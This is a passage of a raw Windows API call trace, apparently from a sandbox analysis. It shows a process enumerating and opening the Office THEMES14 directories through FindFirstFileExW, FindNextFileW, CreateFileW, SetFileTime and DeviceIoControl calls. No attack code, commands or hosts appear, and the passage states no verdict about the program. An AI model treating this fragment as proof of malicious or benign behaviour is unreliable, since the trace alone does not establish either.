ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.INF", cAlternateFileName="")) returned 1 [0242.683] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.683] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.683] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.683] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.683] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.683] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9185d0 [0242.684] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91e728 [0242.684] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.684] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.684] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.684] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.684] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.684] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.684] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.684] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9185f0 [0242.684] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91e830 [0242.684] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.684] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.684] GetLastError () returned 0x12 [0242.684] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0242.684] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0242.684] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.684] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.684] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e493a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e493a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfed, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.ELM", cAlternateFileName="")) returned 1 [0242.684] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.INF", cAlternateFileName="")) returned 1 [0242.684] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.684] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.684] GetLastError () returned 0x12 [0242.684] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91dff0) returned 1 [0242.685] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0242.685] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91dee8) returned 1 [0242.685] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0242.685] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0242.685] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0242.685] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0242.752] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0242.752] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x920338 [0242.752] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x920338, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x920338, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0242.752] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x920338) returned 1 [0242.752] NtClose (Handle=0x1b0) returned 0x0 [0242.752] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0242.752] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.752] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.752] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0242.752] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.752] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91dee8 [0242.753] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0242.753] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.753] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x137f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.753] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.753] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.753] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.753] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.753] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.753] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91dff0 [0242.753] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.753] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918610 [0242.753] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91e938 [0242.753] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.753] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7a6700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f7a6700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x19e14, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.ELM", cAlternateFileName="")) returned 1 [0242.753] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.753] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.753] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.753] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.753] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.753] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918630 [0242.753] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91ea40 [0242.753] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.753] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.INF", cAlternateFileName="")) returned 1 [0242.753] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.754] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.754] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.754] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.754] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.754] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918650 [0242.754] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91eb48 [0242.754] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.754] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.754] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.754] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.754] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.754] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.754] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.754] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918670 [0242.754] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91ec50 [0242.754] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.754] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.754] GetLastError () returned 0x12 [0242.754] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0242.754] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0242.754] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.754] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x137f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.754] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7a6700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f7a6700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x19e14, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.ELM", cAlternateFileName="")) returned 1 [0242.755] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.INF", cAlternateFileName="")) returned 1 [0242.755] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.755] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.755] GetLastError () returned 0x12 [0242.755] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91dee8) returned 1 [0242.755] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0242.755] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24e4f00, ftCreationTime.dwHighDateTime=0x1c06b0e, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc24e4f00, ftLastWriteTime.dwHighDateTime=0x1c06b0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0242.755] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER", cAlternateFileName="")) returned 1 [0242.755] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.755] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.787] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0242.787] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0242.787] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x920338 [0242.787] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x920338, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x920338, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0242.787] NtClose (Handle=0x1bc) returned 0x0 [0242.787] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0242.787] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.788] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.788] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.788] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.788] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.788] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.788] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.788] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0242.788] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.788] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918690 [0242.788] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91dff0 [0242.788] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8c0) returned 0x920338 [0242.788] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91fab0) returned 1 [0242.788] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.788] FindNextFileW 